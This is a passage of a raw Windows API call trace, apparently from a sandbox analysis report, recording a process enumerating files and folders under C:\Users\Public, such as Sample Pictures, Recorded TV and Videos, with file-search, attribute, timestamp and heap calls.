nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hydrangeas.jpg", cAlternateFileName="")) returned 1 [0093.193] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jellyfish.jpg", cAlternateFileName="")) returned 1 [0093.193] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Koala.jpg", cAlternateFileName="")) returned 1 [0093.193] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lighthouse.jpg", cAlternateFileName="")) returned 1 [0093.193] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Penguins.jpg", cAlternateFileName="")) returned 1 [0093.193] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 1 [0093.193] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 0 [0093.193] GetLastError () returned 0x12 [0093.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe820) returned 1 [0093.194] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0093.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe688) returned 1 [0093.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.195] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="")) returned 0 [0093.195] GetLastError () returned 0x12 [0093.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdfa0) returned 1 [0093.195] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0093.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdf18) returned 1 [0093.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.196] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="")) returned 1 [0093.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.196] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Recorded TV" (normalized: "c:\\users\\public\\recorded tv"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.196] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV" (normalized: "c:\\users\\public\\recorded tv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0093.197] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0093.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.197] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0093.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.197] NtClose (Handle=0x178) returned 0x0 [0093.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdf18 [0093.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdfa0 [0093.199] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0093.199] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.199] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9cb8 [0093.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe688 [0093.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa000) returned 0x1386570 [0093.201] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="")) returned 1 [0093.201] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="")) returned 0 [0093.201] GetLastError () returned 0x12 [0093.201] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0093.201] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0093.201] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.201] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.201] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="")) returned 1 [0093.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.201] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media" (normalized: "c:\\users\\public\\recorded tv\\sample media"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.202] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media" (normalized: "c:\\users\\public\\recorded tv\\sample media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0093.202] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0093.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.202] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0093.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.203] NtClose (Handle=0x178) returned 0x0 [0093.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe820 [0093.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.204] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0093.204] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.204] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fedf8 [0093.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fedf8) returned 1 [0093.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fedf8 [0093.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fedf8) returned 1 [0093.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fedf8 [0093.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9cd8 [0093.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fee80 [0093.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fedf8) returned 1 [0093.206] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="")) returned 1 [0093.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fedf8 [0093.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fedf8) returned 1 [0093.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fedf8 [0093.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fedf8) returned 1 [0093.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fedf8 [0093.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0093.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe820) returned 1 [0093.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9cf8 [0093.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1370878 [0093.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fedf8) returned 1 [0093.209] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="")) returned 0 [0093.209] GetLastError () returned 0x12 [0093.209] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0093.209] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0093.209] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.209] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.209] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="")) returned 1 [0093.209] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="")) returned 0 [0093.209] GetLastError () returned 0x12 [0093.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.209] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0093.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0093.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.210] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="")) returned 0 [0093.210] GetLastError () returned 0x12 [0093.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdfa0) returned 1 [0093.210] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0093.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdf18) returned 1 [0093.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.211] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0093.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.211] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos" (normalized: "c:\\users\\public\\videos"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.211] CreateFileW (lpFileName="C:\\Users\\Public\\Videos" (normalized: "c:\\users\\public\\videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0093.211] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0093.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.212] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0093.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.212] NtClose (Handle=0x164) returned 0x0 [0093.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdf18 [0093.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdfa0 [0093.213] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Videos\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0093.213] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 